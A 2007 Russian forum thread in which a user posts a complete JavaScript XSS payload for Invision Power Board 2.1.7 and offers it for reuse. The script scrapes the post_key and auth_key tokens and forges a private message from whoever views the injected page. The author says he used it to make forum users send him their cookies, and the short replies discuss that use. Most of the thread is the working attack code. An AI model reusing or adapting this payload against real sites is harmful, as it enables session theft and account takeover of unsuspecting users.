Отправка персоналок в ipb 2.1.7 через ajax

Discussion in 'PHP' started by _Nikolas_, 11 Apr 2007.

  1. _Nikolas_

    _Nikolas_ New Member

    Joined:
    27 Dec 2006
    Messages:
    17
    Likes Received:
    3
    Reputations:
    0
    Вот писал когда-то, решил выложить.

    Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).

    В свое время запихнул его в xss и юзеры сами слали мне куки :p

    Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.

    Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.

    В общем может будет кому полезен. :)

    PHP:
    //эти переменные править
            
    var forum = "http://www.forum.ru";
            var 
    msg_user = "admin";
            var 
    msg_title = "TEST";
            var 
    msg_post = "TEST POST";
            
            var 
    boundary = "---------------------------1065103348625032172387451659";
            
            var 
    http_request = false;
            
            function 
    createHttpRequest() {
                
    http_request = false;
                if (
    window.XMLHttpRequest) { // Мозилла, опера и т.д.
                    
    http_request = new XMLHttpRequest();
                    if (
    http_request.overrideMimeType) {
                        
    // Выставляем тип странички
                        
    http_request.overrideMimeType('text/xml');
                    }
                } else if (
    window.ActiveXObject) { // Интернет эксплорер
                    
    try {
                        
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
                    } catch (
    e) {
                        try {
                            
    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                        } catch (
    e) {}
                    }
                }
                return 
    http_request;
            }
            
            function 
    makeGETRequest(url, param) {
                
    http_request = createHttpRequest();
                if (!
    http_request) {
                    
    //alert('Cannot create XMLHTTP instance');
                    
    return false;
                }
                
    http_request.onreadystatechange = alertContents; //Тут написать функцию которая вызовется после получения странички
                
    http_request.open('GET', url + param, true);
                
    http_request.send(null);
            }
            
            function 
    makePOSTRequest(url, param) {
                
    http_request = http_request = createHttpRequest();
                if (!
    http_request) {
                    
    //alert('Cannot create XMLHTTP instance');
                    
    return false;
                }
                
    http_request.onreadystatechange = alertPost; //Тут написать функцию которая вызовется после получения странички
                
    http_request.open('POST', url, true);
                
    http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary);
                
    http_request.setRequestHeader("Content-length", param.length);
                
    http_request.send(param);
            }
            
            function 
    alertContents() {
                if (
    http_request.readyState == 4) { // Говорит о том что все загружено
                    
    if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
                        //alert("ok");
                        
    var xml = http_request.responseText;
                        var 
    re_post = new RegExp( "name=\"post_key\" value=\"([a-z0-9]+)\"" );
                        var 
    re_auth = new RegExp( "name=\"auth_key\" value=\"([a-z0-9]+)\"" );
                        var 
    post_key = re_post.exec( xml )[1];
                        var 
    auth_key = re_auth.exec( xml )[1];
                        var 
    param = '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="post_key"\r\n\r\n' + post_key + '\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="auth_key"\r\n\r\n' + auth_key + '\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="entered_name"\r\n\r\n' + msg_user + '\r\n' +
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="msg_title"\r\n\r\n' + msg_title + '\r\n' +
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' + 
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="Post"\r\n\r\n' + msg_post + '\r\n' +
                            
    '--' + boundary + '\r\n' + 
                            
    'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' + 
                            
    '--' + boundary + '--\r\n';
                       
    makePOSTRequest( forum + "/index.php?act=msg", param );
                    } else {
                        
    //alert('There was a problem with the request.');
                        //alert(http_request.status);
                    
    }
                }
            }
            function 
    alertPost() {
                
    //здесь можем обработать результат отсылки, если захотим
            
    }
            
    //вызываем эту функцию для отправки сообщения
            
    function main() {
                
    makeGETRequest( forum + "/index.php?", "act=Msg&CODE=04" );
            }
     
    1 person likes this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Гы, а если мы иммем доступ , зачем нам куки...
    хеш там, хеш здесь..какая ранциа?
     
  3. _Nikolas_

    _Nikolas_ New Member

    Joined:
    27 Dec 2006
    Messages:
    17
    Likes Received:
    3
    Reputations:
    0
    пардон за не понимание, какой доступ и куда?

    если непонятно повторю: я запихивал скрипт в xss и он слал куки любому пользователю на форуме, ясен пень я указал свой аккаунт, и все куки шли мне.
     
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    А так это скрипт хсс..
    Тогда ясно =\